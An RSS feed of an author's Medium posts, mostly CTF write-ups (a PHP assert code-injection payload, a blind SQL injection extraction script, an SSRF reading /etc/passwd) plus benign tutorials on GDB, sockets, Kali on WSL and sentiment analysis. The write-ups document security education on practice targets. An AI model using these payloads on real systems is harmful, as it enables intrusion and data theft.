＄ matched the end of the line (without noticing that this was a unicode character and not the actual $ character). So, the value sent should be of length 42, should have decimal characters followed by the special character ＄. Due to the presence of the special character, the second condition !is_numeric($k2) is validated by default.</p><p>The final condition ($k2 == $cc) checks whether the parameter $k2 passed is the same as $cc (1337). The comparison here is made using == , so we can simply pass in 1337, preceded by a bunch of 0s and followed by the special character (totaling up to a length of 42). The special character in URL Encoded format was: %EF%BC%84, which has a length of 3.</p><p>I modified the source a little, to confirm the correctness of the payloads I tried:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*8E1NuACKzgFiM-afL67HcQ.png" /></figure><p>So our final payload for this part looked like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*Oxs6qG9Mu1DtsvrKCUe6gQ.png" /></figure><pre>list($k1,$k2) = [$k2, $k1];<br><br>if(substr($cc, $bb) === sha1($cc)){<br>    foreach ($_GET as $lel =&gt; $hack){<br>        $$lel = $hack;<br>    }<br>}</pre><p>Too much for a Baby question, don’t you think? This part first interchanged the values of $k1 and $k2. And then checked whether the last 42 characters in $cc are equal to the sha1 of $cc. In the last step, we could change the existing value of $cc. So we had to modify $cc in such a way that this condition was validated. I set aside a script to brute-force this case (very improbable of it actually working)and read about the first <a href="https://security.googleblog.com/2017/02/announcing-first-sha1-collision.html">sha1 collision</a> found by Google. And concluded that this particular case wasn’t possible (not sure about this claim though.). Then I found out somewhere that on passing an array into the sha1() function resulted in a Null Value! . And similarly, a Null is returned when an array is passed into the substr() function!</p><p>This basically validates the condition (substr($cc, $bb) === sha1($cc)), as Null === Null, is True!</p><p>I edited the code to confirm whether the condition is validated:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/1*V2C6EOEBD0lm8pM4-ECwpg.png" /></figure><p>And this is what my payload looked like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*3R2qrGCZTzfBjJbt_dZrbg.png" /></figure><p>The for loop inside this Part will be used in the next part; and will be explained there too.</p><p>The next line, is printed in reverse. On pasting the same into a text editor, the right syntax is shown.</p><pre>if($$a !== $k1){<br>    die(&quot;lel no\n&quot;);<br>}</pre><p>In the previous line, $a was assigned a value of “b”; $$a basically refers to $$a = $($a) = $b. Which was assigned a value of 2. Therefore, for this part, we must ensure that $k1=2. So this is where we will use the for loop from the previous step.</p><p>To understand what it’s doing, the easiest way was to print out the contents of all the variables in the for loop:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/459/1*27JERXThyPkO4-7uLqKDzA.png" /></figure><p>The response was:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rt9SUoEHrS0goPflbtVS0g.png" /></figure><p>So the for loop iterates over all of the key-value pairs sent as a GET request; the keys being $lel and their values in $hack. Inside, the value of $$lel (the format$$a as explained above) is set to the corresponding $hack value. So if we pass another parameter k1 in the GET request with the value 2. This will basically translate to $lel = k1 and $hack = 2. Which will then become $$lel = $hack =&gt; $k1 = 2; Thus validating the last if condition!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*PjJoMykb0eFghNEssP_cQQ.png" /></figure><p>Now the question is, how do we print the flag? as the line which does that is commented out. Here’s where the assert comes to our rescue. Assert will basically execute the command passed to it!</p><pre>assert(&quot;$bb == $cc&quot;);</pre><p>We can thus manipulate the value of $bb (and not $cc since the command executed would be $bb = &lt;some code here&gt;, which doesn’t seem to be of any help to us), to print out the flag.</p><p>I tried using echo $flag;// (the comments at the end to ignore whats after the payload that is injected) but that didn’t print anything out. Maybe it had something to do with the space after the echo. Then I used var_dump($flag);// which did print the flag out!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vnYHcq40Pa0c8lOTSO73Sg.png" /></figure><p>The final payload used: <a href="http://arcade.fluxfingers.net:1819/?msg=php://input&amp;key1=1337&amp;key2=000000000000000000000000000000000001337%EF%BC%84&amp;cc[]=1337&amp;k1=2&amp;bb=var_dump($flag);//">http://arcade.fluxfingers.net:1819/?msg=php://input&amp;key1=1337&amp;key2=000000000000000000000000000000000001337%EF%BC%84&amp;cc[]=1337&amp;k1=2&amp;bb=var_dump($flag);//</a></p><p>And the flag: flag{7c217708c5293a3264bb136ef1fadd6e}!</p><p>Not a Baby question for sure.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3db6c72926cb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Basic Reverse Engineering using GDB]]></title>
            <link>https://medium.com/@yashitm/basic-reverse-engineering-using-gdb-ebfb0afca8f4?source=rss-7e31378b5992------2</link>
            <guid isPermaLink="false">https://medium.com/p/ebfb0afca8f4</guid>
            <category><![CDATA[assembly-language]]></category>
            <category><![CDATA[gdb]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[c]]></category>
            <dc:creator><![CDATA[Yashit Maheshwary]]></dc:creator>
            <pubDate>Mon, 15 Oct 2018 09:49:07 GMT</pubDate>
            <atom:updated>2022-01-18T14:34:32.384Z</atom:updated>
            <content:encoded><![CDATA[<p>This blog has now moved to: <a href="https://theaveragenz.com/basic-reverse-engineering-using-gdb/">https://theaveragenz.com/basic-reverse-engineering-using-gdb/</a></p><p>Reverse Engineering and Malware Analysis are now becoming fields of growing research. Here’s a jump start for all of you interested in Reverse Engineering.</p><p>I’ll be using the GNU Debugger (GDB) for this tutorial. There are other tools out there (which might make the task easier) like IDA, radare2 etc that can be used too!</p><p>In this tutorial, we will be reversing a C Program that uses the strcmpfunction to validate user input.</p><p>Here’s the snapshot of the code:</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;</pre><pre>int main(int argc, char **argv)<br>{<br> char flag[] = &quot;catchmeifyoucan&quot;;<br> if(strcmp(argv[1], flag) == 0) {<br>  printf(&quot;Correct!\n&quot;);<br> }<br> else {<br>  printf(&quot;Try Again xP\n&quot;);<br> }<br> return 0;<br>}</pre><p>Compile the code using gcc -o stringcmp stringcmp.c</p><p>Let’s now fire up GDB using: gdb stringcmp</p><p>Before starting, we need to change the disassembly style to Intel (for a better readability);</p><p>set disassembly-flavor intel</p><p>Next, we shall see all the functions used in this binary;</p><p>info functions</p><p>Among all the functions, only main is what we have to concentrate at!</p><p>disassemble main</p><p>The assembly code for the main function will be dumped. We can see the strcmp function call at address 0x40063c (might be different in your case).</p><pre>0x000000000040063c &lt;+79&gt;: call   0x4004e0 &lt;strcmp@plt&gt;</pre><p>To examine the state of the program at that address, we need to set a breakpoint at the strcmp function call: b *0x40063c</p><p>Now, we run the code with some sample input: run helloworld, and check the status of the registers at this state; info registers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/394/1*99clv3ji6pgc4YuygbzW2g.png" /></figure><p>From the assembly, it can be noted that the user input (from the command line arguments is stored in the rax register). And the strcmp function compares the rax register with the rdx register, which must mean that the rdx register must contain the required string. On examining both the registers (rax, rdx). We get the required input!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/282/1*6A8vqV-5eQo8k_bDElOdhg.png" /></figure><p>On deleting the breakpoints and running the program via GDB, we see the Correct! response!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*SZHROQ0qCK4GeM7VxQsvRA.png" /></figure><p>Hope you learnt something out of this!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ebfb0afca8f4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BlindAsABat (Web Challenge WriteUp) — CSAW RED Quals 2018]]></title>
            <link>https://medium.com/@yashitm/blindasabat-web-challenge-writeup-csaw-red-quals-2018-37db20e71944?source=rss-7e31378b5992------2</link>
            <guid isPermaLink="false">https://medium.com/p/37db20e71944</guid>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[sql]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[Yashit Maheshwary]]></dc:creator>
            <pubDate>Fri, 05 Oct 2018 11:53:55 GMT</pubDate>
            <atom:updated>2022-01-18T14:49:39.255Z</atom:updated>
            <content:encoded><![CDATA[<h3>BlindAsABat (Web Challenge WriteUp) — CSAW RED Quals 2018</h3><p>This blog has now moved to: <a href="https://theaveragenz.com/csaw-red-quals18-ctf-blindasabat-web-challenge-writeup">https://theaveragenz.com/csaw-red-quals18-ctf-blindasabat-web-challenge-writeup</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*bf37cvAAFD_IWZ9FDJqWlg.png" /></figure><p>Just by looking at BLINDasabat and the question text, it’s pretty obvious that this challenge is based on Blind SQL Injection.</p><p>We are presented by a login form on opening the link provided.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HCv9LFtnsZI_evKFQV8qAw.png" /></figure><p>So as to continue, we need to find out the response of correct queries vs that of incorrect queries. On simply trying admin as the username and &#39; or &#39;&#39;=&#39; as the password, we are redirected to new page, which says we are logged in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SDY6M4-n8aBvyaXpmb500g.png" /></figure><p>So we have found how a correct query will respond. Now on entering some random credentials (hoping they aren’t actually right), the website says, Incorrect username or password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/394/1*iF48TSjZC6MVMa25krnv5Q.png" /></figure><p>Now that we have both the valid and invalid responses, just to be sure, I tried a Time Based Boolean Query: -1&#39; or sleep(5) -- . It worked! The webpage loaded only after about 5 seconds. Now I got to scripting!</p><p>First I had to set up the request session (set all the cookies in a normal session).</p><pre>import requests<br>import string</pre><pre>letters = string.ascii_lowercase + string.ascii_uppercase + &quot;1234567890{}_?,&quot;</pre><pre>URL = &quot;<a href="http://web.chal.csaw.io:10101/auth/login">http://web.chal.csaw.io:10101/auth/login</a>&quot;</pre><pre>cookie = {<br> &quot;CSAW-CTF-2018-QUALS-SSO&quot;:&quot;xxxxxxxx&quot;,<br> &quot;CSAW-CTF-2018-QUALS-SSO.sig&quot;:&quot;xxxx&quot;<br>}</pre><pre>counter = 0          # Keeps a track of the letters tried.<br>letter_counter = 1   # Keeps a track of which index is being leaked<br>final = &quot;&quot;           # Holds the final string retrieved</pre><p>I defined all possible letters that can be possibly there in the fields that I was about to leak.</p><p>Now, I defined two nested while True loops (infinite loops). The first one being when one letter of the field has been found. The inner one iterating over all possible letters, that I had defined above.</p><p>For validation, I used Whoa as a correct response validator (as it was a string in the page we were redirected to on a successful login attempt), and Incorrect as the incorrect response validator.</p><pre>while True:<br> while True:<br>  if counter &gt; len(letters):<br>   break<br>  current = letters[counter]<br>  data = {<br>   &quot;username&quot;: &quot;-1&#39; or substring(database(),&quot; + str(letter_counter) + &quot;,1)=\&quot;&quot; + current + &quot;\&quot; -- &quot;,<br>   &quot;password&quot;: &quot;lol&quot;,<br>  }<br>  req = requests.post(URL, cookies=cookie, data=data)<br>  if &quot;Incorrect&quot; in req.text:<br>   counter += 1<br>  elif &quot;Whoa&quot; in req.text:<br>   final += current<br>   letter_counter += 1<br>   counter = 0<br>   break<br> print(final)</pre><p>I could have used threading to make the process way faster, but yeah you guessed it, I was lazy to. With a cup of coffee in my hand, and netflix on my screen, waiting wasn’t an issue!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*Z1kqsSccCKa3_jpCHaW8SQ.png" /></figure><p>Nice! we got the DB name!</p><p>Now I updated the field post request to retrieve all the tables in the DB look_here</p><p>So the payload looked like:</p><pre>data = {<br>   &quot;username&quot;: &quot;-1&#39; or substring((select group_concat(table_name) from information_schema.tables where table_schema=\&quot;look_here\&quot;),&quot; + str(letter_counter) + &quot;,1)=\&quot;&quot; + current + &quot;\&quot; -- &quot;,<br>   &quot;password&quot;: &quot;lol&quot;,<br>  }</pre><p>To break down the query a little bit, I used the substring function (which returns a part of the specified string), with the string being the response of the SQL Query that returns the tables in the database look_here. I iterate over each of the string indexes to find out which letter gives the valid response (Woah).</p><p>Again, after some considerable amount of time, I got the tables inside the DB.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*f4A2xUPU74hhczbMpUTkZA.png" /></figure><p>Table look_in_here must be pointing to the right direction, so I enumerated that table further by changing the payload to extract the columns in that table.</p><p>The updated payload looked like:</p><pre>data = {<br>   &quot;username&quot;: &quot;-1&#39; or substring((select group_concat(column_name) from information_schema.columns where table_name=\&quot;look_in_here\&quot;),&quot; + str(letter_counter) + &quot;,1)=\&quot;&quot; + current + &quot;\&quot; -- &quot;,<br>   &quot;password&quot;: &quot;lol&quot;,<br>  }</pre><p>Pretty much the same as the query used for extracting the table names. Here’s what I got:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*gxxfEBXi5Mj24i4LK3dLbQ.png" /></figure><p>Now that I have the column too, I just had to extract the values from the table look_in_here under the column flag.</p><p>The updated payload:</p><pre>data = {<br>   &quot;username&quot;: &quot;-1&#39; or substring((select binary group_concat(flag) from look_in_here),&quot; + str(letter_counter) + &quot;,1)=\&quot;&quot; + current + &quot;\&quot; -- &quot;,<br>   &quot;password&quot;: &quot;lol&quot;,<br>  }</pre><p>This is where I wasted most of my time. On running the script for the first time, I got the flag. But it wasn’t being accepted. I couldn’t figure out what’s wrong. Like 30 minutes later, it struck me, I haven’t used binary in my queries. So even if the letter in the flag was uppercase, it would return true even if sent a lowercase character (and vice versa). After adding binary to the query, I was presented with the flag: flag{nOW_W45N7_7h47_547I5fyiN9?} !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*l2ueXTj8W2_mGlgq28cCjA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=37db20e71944" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[hiddenDOM (Web Challenge WriteUp)— noxCTF 2018]]></title>
            <link>https://medium.com/@yashitm/hiddendom-web-challenge-writeup-noxctf-2018-7cd52e2e4b8d?source=rss-7e31378b5992------2</link>
            <guid isPermaLink="false">https://medium.com/p/7cd52e2e4b8d</guid>
            <category><![CDATA[web-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[javascript]]></category>
            <dc:creator><![CDATA[Yashit Maheshwary]]></dc:creator>
            <pubDate>Fri, 14 Sep 2018 10:57:26 GMT</pubDate>
            <atom:updated>2018-09-14T11:01:03.442Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*cZf-5fwA1uMKyj2iJDxGmQ.png" /></figure><p>Upon opening the link: <a href="http://13.59.2.198:5588/">http://13.59.2.198:5588</a>, an input field saying Find hidden element (URL) is shown. As it asks for a URL, I tried entering <a href="https://google.com/">http://google.com</a> to see what sort of result is returned.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*mW_4LsYNIQiLMEngks2Rtw.png" /></figure><p>It can be seen that whatever field in the source code has the string hidden in it, is displayed. This gives us a clue about what can be happening at the back-end; they might be using file_get_contents() or a similar function to read the URL’s source code, and then filtering lines based on the string hidden. SSRF can be the way to go!</p><p>Before proceeding further, I decided to look around the source code of the website. There was a lot of Obfuscated JavaScript code that attracted my attention. There was also a fishy anchor tag: &lt;a href=&#39;/var/www/html/flag.txt&#39; hidden&gt;-_-&lt;/a&gt;, I tried appending various combinations like [&#39;flag.txt&#39;,&#39;../flag.txt’ ...]in the URL, but got nothing out of it.</p><p>Then I decided to analyze the Obfuscated JS Code. Using <a href="http://jsnice.org/">http://jsnice.org/</a>, I “un”obfuscated the first JS code snippet to obtain:</p><pre>&#39;use strict&#39;;<br>/** <a href="http://twitter.com/type">@type</a> {!Array} */<br>var _0x3bc3 = [&quot;main_form&quot;, &quot;getElementById&quot;, &quot;input&quot;, &quot;createElement&quot;, &quot;name&quot;, &quot;expression&quot;, &quot;setAttribute&quot;, &quot;type&quot;, &quot;text&quot;, &quot;placeholder&quot;, &quot;/&lt;[^&lt;&gt;]{1,}hidden[^&lt;&gt;]{1,}&gt;/&quot;];<br>var _frss = document[_0x3bc3[1]](_0x3bc3[0]);<br>var _xEger = document[_0x3bc3[3]](_0x3bc3[2]);<br>_xEger[_0x3bc3[6]](_0x3bc3[4], _0x3bc3[5]);<br>_xEger[_0x3bc3[6]](_0x3bc3[7], _0x3bc3[8]);<br>_xEger[_0x3bc3[6]](_0x3bc3[9], _0x3bc3[10]);</pre><p>The two variables in this code stood for ssrf and regex in reverse! That gave me some confidence over my guess of SSRF!</p><p>On analyzing this code further, the _xEger variable basically creates another input element with the name expression and sets it’s value as a regex: &lt;[^&lt;&gt;]{1,}hidden[^&lt;&gt;]{1,}&gt;. This basically matches any line of this form: &lt; <em>some_text</em> hidden <em>some_text </em>&gt;</p><p>What would happen if we change this expression in the GET request?</p><p>I tried the URL with the regex .* which would print everything out for me: <a href="http://13.59.2.198:5588/index.php?target=http%3A%2F%2Fgoogle.com&amp;expression=/.*/">http://13.59.2.198:5588/index.php?target=http%3A%2F%2Fgoogle.com&amp;expression=.*</a>, but got nothing. Then it struck me; The question text says <em>my website is not so /secure/</em>. This can refer to the regex syntax we have to use!</p><p>Then I tried the new URL: <a href="http://13.59.2.198:5588/index.php?target=http%3A%2F%2Fgoogle.com&amp;expression=/.*/">http://13.59.2.198:5588/index.php?target=http%3A%2F%2Fgoogle.com&amp;expression=/.*</a>/. Voila! the entire source code of http://google.comwas shown!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*pvHpZijCmIQJPumellKT-g.png" /></figure><p>Now, I got back to my lead on SSRF. I tried using the file:// protocol in the target field, hoping that I would get a valid response. I tried accessing the /etc/passwd file first; <a href="http://13.59.2.198:5588/index.php?target=file:///etc/passwd&amp;expression=/.*/">http://13.59.2.198:5588/index.php?target=file:///etc/passwd&amp;expression=/.*/</a>. To my surprise, I was presented with the passwd file!</p><p>Now all I had to do was find the location of the flag. Remember how there was a fishy anchor tag that we found in the source code? It was time to try that location out: <a href="http://13.59.2.198:5588/index.php?target=file:///var/www/html/flag.txt&amp;expression=/.*/">http://13.59.2.198:5588/index.php?target=file:///var/www/html/flag.txt&amp;expression=/.*/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*3bg9khKp2TNmObMwCvbftg.png" /></figure><p>Voila! the flag was: noxCTF{/[h1DD3N]*[55Rf]*[r393X]*/} :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7cd52e2e4b8d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Simple Chat Server using Sockets in C]]></title>
            <link>https://medium.com/@yashitm/simple-chat-server-using-sockets-in-c-f72fc8b5b24e?source=rss-7e31378b5992------2</link>
            <guid isPermaLink="false">https://medium.com/p/f72fc8b5b24e</guid>
            <category><![CDATA[sockets]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[chat]]></category>
            <category><![CDATA[c-programming]]></category>
            <dc:creator><![CDATA[Yashit Maheshwary]]></dc:creator>
            <pubDate>Fri, 23 Mar 2018 04:34:02 GMT</pubDate>
            <atom:updated>2018-03-23T04:34:02.116Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>In this post, you will learn how to create a simple chat application using Sockets in C!</p><h3>Getting Started</h3><p>We will create a server script and a client script (that will connect to the server). We need to first set up the socket on the server side script.</p><p>Starting off with a few includes:</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;sys/socket.h&gt; <strong><em>//For Sockets</em></strong><br>#include &lt;stdlib.h&gt;<br>#include &lt;netinet/in.h&gt; <strong><em>//For the AF_INET (Address Family)</em></strong></pre><p>Now comes the main part, setting up the Socket. So in normal servers, there is a possibility that there can be multiple connections to this server simultaneously. The modification that has to be made so as to accept multiple connections will be using either a pthread or a child process.</p><pre>struct sockaddr_in serv; <strong><em>//This is our main socket variable.<br></em></strong>int fd; <strong><em>//This is the socket file descriptor that will be used to identify the socket<br></em></strong>int conn; <strong><em>//This is the connection file descriptor that will be used to distinguish client connections.</em></strong><br>char message[100] = &quot;&quot;; <strong><em>//This array will store the messages that are sent by the server</em></strong></pre><p>This is the main function:</p><pre>serv.sin_family = AF_INET;<br>serv.sin_port = htons(8096); <strong><em>//Define the port at which the server will listen for connections.<br></em></strong>server.sin_addr.s_addr = INADDR_ANY;</pre><pre>fd = socket(AF_INET, SOCK_STREAM, 0); <strong><em>//This will create a new socket and also return the identifier of the socket into fd.</em></strong></pre><pre><strong><em>// To handle errors, you can add an if condition that checks whether fd is greater than 0. If it isn&#39;t, prompt an error</em></strong></pre><pre>bind(fd, (struct sockaddr *)&amp;serv, sizeof(serv)); <strong><em>//assigns the address specified by serv to the socket</em></strong></pre><pre>listen(fd,5); <strong><em>//Listen for client connections. Maximum 5 connections will be permitted.</em></strong></pre><pre><strong><em>//Now we start handling the connections.</em></strong></pre><pre>while(conn = accept(fd, (struct sockaddr *)NULL, NULL)) {<br>    int pid;<br>    if((pid = fork()) == 0) {<br>        while (recv(conn, message, 100, 0)&gt;0) {<br>            printf(&quot;Message Received: %s\n&quot;, message);<br>            <strong><em>//An extra breaking condition can be added here (to terminate the child process)</em></strong>            <br>            message = &quot;&quot;;<br>        }<br>        exit(0);<br>    }<br>}</pre><p>Let’s start populating our client side script. The includes and the variables will be the same as the client side script. I will just be populating the main function below.</p><pre>fd = socket(AF_INET, SOCK_STREAM, 0);</pre><pre>server.sin_family = AF_INET;<br>server.sin_port = htons(8096);</pre><pre>inet_pton(AF_INET, &quot;127.0.0.1&quot;, &amp;serv.sin_addr); <strong><em>//This binds the client to localhost</em></strong></pre><pre>connect(fd, (struct sockaddr *)&amp;serv, sizeof(serv))); <strong><em>//This connects the client to the server.</em></strong></pre><pre>while(1) {<br>    printf(&quot;Enter a message: &quot;);<br>    fgets(message, 100, stdin);<br>    send(fd, message, strlen(message), 0);<br>    <strong><em>//An extra breaking condition can be added here (to terminate the while loop)<br></em></strong>}</pre><p>On running the server and multiple clients, you can now see that each message (sent by multiple clients) is being received by the server simultaneously!</p><p>You can now modify the scripts and get parallel reads and writes from the clients and servers. For that, you will have to use pthread as a child process doesn’t share memory with the parent process. It creates a copy of the memory during creation and then acts like a isolated process. Pthreads use the same memory as the parent. Thus, any modifications made in the parent can be accessed in the thread process.</p><p>Hope this tutorial was helpful!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f72fc8b5b24e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kali on Windows Subsystem for Linux]]></title>
            <link>https://medium.com/@yashitm/kali-on-windows-subsystem-for-linux-87458724be88?source=rss-7e31378b5992------2</link>
            <guid isPermaLink="false">https://medium.com/p/87458724be88</guid>
            <category><![CDATA[kali]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[windows]]></category>
            <dc:creator><![CDATA[Yashit Maheshwary]]></dc:creator>
            <pubDate>Tue, 06 Mar 2018 08:33:08 GMT</pubDate>
            <atom:updated>2018-03-06T08:33:08.638Z</atom:updated>
            <content:encoded><![CDATA[<p>They’ve finally done it! Kali on WSL! Windows just keeps getting better.</p><h3>Installation</h3><p>Go to the Microsoft Store and search for Kali Linux. Install the first App!</p><p>It should start the installation automatically. After about 5 minutes, the installation terminates, and you will see the terminal pop right up!</p><p>The downside of this release is that none of the Kali Tools are installed :(</p><p>But that doesn’t stop us!</p><h3>RDP Connection for Kali on WSL</h3><p>This is the most exciting part! Don’t you wish to have a GUI for your Kali?</p><p>Here’s how to get it. Before we start installation, make sure you are root. Run sudo su before typing in any command into the terminal.</p><p>We will first need to install wget (Yes. Even that isn’t installed).</p><pre>apt-get install wget</pre><p>Next, we will install xfce4:</p><pre>wget <a href="https://kali.sh/xfce4.sh">https://kali.sh/xfce4.sh</a><br>sh xfce4.sh</pre><p>The installation will take another 5–10 minutes. Once the installation completes, the last log on the terminal would be</p><pre>[+] Configuring XRDP to listen on port <strong>3390 </strong>(but not starting the service)</pre><p>The port <strong><em>might </em></strong>be different. Keep the port in mind. We will use it to connect later. Now, all we need to do is start the service</p><pre>/etc/init.d/xrdp start</pre><p>You’re all set!</p><p>Open <strong>Remote Desktop Connection</strong> application on Windows, and enter the IP 127.0.0.1:&lt;PORT&gt;; It will take about 5 seconds to connect and you can now log in to your GUI!</p><p>Happy Hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=87458724be88" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Custom Domain for your Github Pages]]></title>
            <link>https://medium.com/@yashitm/custom-domain-for-your-github-pages-fe70c5a43b40?source=rss-7e31378b5992------2</link>
            <guid isPermaLink="false">https://medium.com/p/fe70c5a43b40</guid>
            <category><![CDATA[web-hosting]]></category>
            <category><![CDATA[custom-domain]]></category>
            <category><![CDATA[github-pages]]></category>
            <category><![CDATA[github]]></category>
            <category><![CDATA[hosting]]></category>
            <dc:creator><![CDATA[Yashit Maheshwary]]></dc:creator>
            <pubDate>Sat, 27 Jan 2018 20:54:59 GMT</pubDate>
            <atom:updated>2018-01-27T20:54:59.781Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Tired of seeing your website with the <strong><em>github.io</em></strong> at the end? In this post, you will learn how to replace the Github generated URL to a custom URL</p><h3>What do you need?</h3><ul><li>A Domain</li><li>A Static Website!</li></ul><h3>Setting up the Custom Domain</h3><p>First, we will be hosting the main website &lt;username&gt;.github.io. Assuming you already have a website in a repository named &lt;username&gt;.github.io and you have already set up your GitHub Page for the same. To configure the GitHub Page to redirect to a custom URL, you need to add a CNAME in the same repository containing the URL of the Custom Domain.</p><p>Now, you need to go over to your Domain Services and add two A Records that Point to GitHub. The Destination IPs (GitHub’s) are:</p><pre>192.30.252.153<br>192.30.252.154</pre><p>Now, if you want www preceding your Domain Name, add it to your CNAME file in the GitHub Repository and then come back to the DNS Settings of your Domain. You will now have to add a CNAME Record with the following details:</p><pre>HOST: www<br>VALUE: &lt;username&gt;.github.io</pre><p>Make sure that there are no / in the VALUE of the CNAME Record.</p><h3>Setting up Sub Domains</h3><p>Let’s say you want your repository repository1 to have it’s own sub-domain on your website. All you have to do is add a CNAME file in your repository with the custom URL, for example: repository1.&lt;custom-domain-name&gt;.&lt;domain-extension&gt;.</p><p>Now in your DNS Settings of your Domain, add another CNAME Record with the following Details:</p><pre>HOST: repository1<br>VALUE: &lt;username&gt;.github.io</pre><p>After about 5 minutes, you can access the new URL!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fe70c5a43b40" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Sentiment Analyzer]]></title>
            <link>https://medium.com/@yashitm/sentiment-analyzer-6ad780797b76?source=rss-7e31378b5992------2</link>
            <guid isPermaLink="false">https://medium.com/p/6ad780797b76</guid>
            <category><![CDATA[machine-learning]]></category>
            <dc:creator><![CDATA[Yashit Maheshwary]]></dc:creator>
            <pubDate>Sat, 27 Jan 2018 13:30:16 GMT</pubDate>
            <atom:updated>2018-01-27T13:30:16.025Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>In this blog you will learn how to Analyze Sentiments of the Tweets you post on your Twitter using <strong>Python</strong>! We will be using the Natural Language Processing Library by Python for this.</p><h3>Getting Started</h3><p>Before we start, we need to get the NLTK Datasets. For that,</p><pre>import nltk<br>nltk.download()</pre><p>This will take quite some time, so grab a cup of coffee and watch some lectures on Natural Language Processing till then!</p><p>After everything is downloaded, we can start to code!</p><p>Within NLTK Datasets, there is a dataset for positive and negative statements (in movie_reviews), that we will be using for this tutorial. You can also use other datasets for the same.</p><pre>from nltk.corpus import movie_reviews</pre><pre>print(movie_reviews.fileids())</pre><p>This will print all the files that contain the Positive and Negative Data. There are exactly 2000 of them (might be different other versions).</p><p>To train the model, we will be using the Naive Bayes Classifier. The input format for this classifier looks something like this:</p><pre># Input Sentence: Hello guys how are you</pre><pre>{&#39;Hello&#39;: True, &#39;guys&#39;: True}<br># Some words are missing as the input is filtered using StopWords</pre><p>This function converts the input to the required form:</p><pre>def get_filtered_words(sentence):<br>   stop_words = set(stopwords.words(&#39;english&#39;))<br>   filtered_words = [item for item in sentence if item not in stop_words]<br>   filtered_words = dict([(word, True) for word in filtered_words])<br>   return filtered_words</pre><p>Let’s go over individual lines in the code;</p><pre>stop_words = set(stopwords.words(&#39;english&#39;))</pre><p>The list stop_words contains all of the words that do not add any meaning to the sentence (with respect to Data Analysis) like we, you, a, an etc.</p><pre>filtered_words = [item for item in sentence if item not in stop_words]</pre><p>The list filtered_words contains the list of words in the give sentence that are not in the stop_words list. This means that filtered words will contain those words only that add a context to the sentence.</p><pre>filtered_words = dict([(word, True) for word in filtered_words])</pre><p>The same list filtered_words will now contain the same filtered words as before, but in the format that is required by the Naive Bayes Classifier.</p><p>Now, so as to create a proper Data Set with both positive and negative words, you shall use these functions:</p><pre>def get_negative_sentences():<br>   negative = []<br>   for item in movie_reviews.fileids(&#39;neg&#39;):<br>      words = movie_reviews.words(item)<br>      negative.append((get_filtered_words(words), &quot;negative&quot;))<br>   return negative</pre><pre>def get_positive_sentences():<br>   positive = []<br>   for item in movie_reviews.fileids(&#39;pos&#39;):<br>      words = movie_reviews.words(item)<br>      positive.append((get_filtered_words(words), &quot;positive&quot;))<br>   return positive</pre><p>The above code is pretty straight forward to understand. It will just return the “filtered” negative and positive sentences.</p><p>Coming to the Training Part, we will first filter the sentence that the user typed in by first tokenizing the input using the 